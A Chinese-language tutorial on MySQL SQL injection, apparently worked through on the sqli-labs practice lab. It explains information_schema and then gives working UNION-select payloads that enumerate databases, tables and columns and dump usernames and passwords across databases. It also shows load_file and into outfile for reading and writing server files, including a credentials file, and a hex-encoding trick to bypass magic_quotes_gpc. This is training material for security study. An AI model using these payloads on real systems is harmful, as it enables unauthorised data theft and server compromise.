一、information_schema
- information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。
- information_schema 中的表实际上是视图,而不是基本表,因此,文件系统上没有与之相关的文件
schemata表
当前 mysql 实例中所有数据库的信息。show databases
命令从这个表获取数据
TABLES 表
存储数据库中的表信息(包括视图),包括表属于哪个数据库,表的类型、存储引擎、创建时间等信息。SHOW TABLES FROM schemaname
命令从这个表获取结果。
COLUMNS 表
存储表中的列信息,包括表有多少列、每个列的类型等。SHOW COLUMNS FROM schemaname.tablename
命令从这个表获取结果。
USER_PRIVILEGES 表
用户权限表。内容源自 mysql.user 授权表。是非标准表。
二、跨库攻击
-
服务器中的全部数据库
-
打开靶场,查询网页当前数据库的用户,可以看到当前用户为root拥有最高的权限,可以获取其他数据库的内容
url...?id=-1 union select 1,user(),3
-
当前数据库为security
url...?id=-1 union select 1,database(),3
-
在网页中查看服务器中的所有数据库
url...?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
-
查询数据库 bookman 里的所有表,当前数据库为 security。
url...?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='bookman'
可以看到 bookman 数据库中有表:
tb_book,tb_book_category,tb_bookshelf,tb_borrow,tb_language,tb_publisher,tb_reader,tb_user
- 查询表(tb_user)的所有列信息信息
url...?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='tb_user' and table_schema='bookman
在语句后加上对应的数据库,如:and table_schema=‘bookman’,防止查询到其他数据库中相同名字的表。
- 查询表(tb_user)的内容
url...?id=-1 union select 1,group_concat(username),group_concat(password) from bookman.tb_user
注意要在表名前加是数据库名,如 bookman.tb_user,否则查到当前数据库中的数据或者报错
可以看到我们拿到了数据库bookman的用户名和密码
三、mysql内置的文件读取函数
load_file(); 读取函数
into_outfile 或者 into dumpfile ; 导出函数
使用方法
- 读取xxx文件内容
select load_file('xxx文件路径');
- 将123写入xxx文件
select '123' into outfile “xxx文件路径”;
- 常见的load_file()读取的敏感信息
https://blog.csdn.net/weixin_30292843/article/details/99381669- and (select count() from mysql.user)>0
如果结果返回正常,说明具有读写权限。
and (select count() from mysql.user)>0
返回错误,应该是管理员给数据库帐户降,没有读写权限。- 路径获取常见方法
报错显示;遗留文件;漏洞报错;平台配置文件;爆破等等
实例
读取D:/phpstudy/phpstudy_pro/WWW/sqli-labs-master/sql-connections/db-creds.inc文件内容
select load_file('D:\\phpstudy\\phpstudy_pro\\WWW\\sqli-labs-master\\sql-connections\\db-creds.inc');
查看网页源码,发现我们拿到了文件内容
//give your mysql connection username n password
$dbuser =‘root’;
$dbpass =‘root’;
$dbname =“security”;
$host = ‘localhost’;
$dbname1 = “challenges”;
四、魔术引号开关 (magic_quotes_gpc)
- magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,对POST、GET以及进行数据库操作的sql进行转义处理,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误,防止sql注入。
- 当magic_quotes_gpc = On时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会被加上反斜线。
- 可以通过将文件路径转为16进制,以绕过magic_quotes_gpc过滤时,但是需要在编码后的十六进制前加上0x。
D:/phpstudy/phpstudy_pro/WWW/sqli-labs-master/sql-connections/db-creds.inc
——> 0x443A2F70687073747564792F70687073747564795F70726F2F5757572F73716C692D6C6162732D6D61737465722F73716C2D636F6E6E656374696F6E732F64622D63726564732E696E63
如果网站有对参数的类型过滤,只允许数字通过,此类网站无法注入。(但是这种情况比较少)